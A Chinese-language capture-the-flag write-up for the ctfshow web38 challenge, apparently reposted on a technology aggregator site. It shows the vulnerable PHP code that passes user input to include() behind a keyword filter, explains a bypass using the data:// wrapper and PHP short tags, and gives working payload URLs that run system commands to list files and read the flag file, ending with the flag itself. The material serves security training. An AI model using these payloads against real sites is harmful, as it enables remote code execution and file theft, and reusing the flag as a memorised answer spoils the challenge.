• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

ctfshow-命令执行-web38

武飞扬头像
ctf小菜鸡
帮助1

ctfshow-web38

 


题目描述:

学新通

原理:

审计:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){ //过滤了flag php file
        include($c);                         //文件包含漏洞
        echo $flag;                          //输出变量flag
    
    }
        
}else{
    highlight_file(__FILE__);
} 

学新通

方法:

思路:

绕过flag php file 的过滤,利用include函数文件包含漏洞

同web38利用data为协议

但是对比web38,多过滤了php,所以之前的payload不能用,我们尝试使用短标签 = 代替php

短标签

<?php 这是完整标签
<? 这是短标签

//php.ini中 short_open_tag = On //除<?php ?>,可使用更灵活的调用方法

<? /*程序操作*/

?> <?=/*函数*/?>

http://6ae1efb2-fde0-4a71-85ab-4f8883df5fac.challenge.ctf.show/?c=data://text/plain,<?= system("ls");?>
学新通http://6ae1efb2-fde0-4a71-85ab-4f8883df5fac.challenge.ctf.show/?c=data://text/plain,<?= system("cat fla*.p*p");?>
学新通

Flag:

ctfshow{0ba40c96-eb3c-45a0-a94e-f7754f8fbc8a}

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgabjji
系列文章
更多 icon
同类精品
更多 icon
继续加载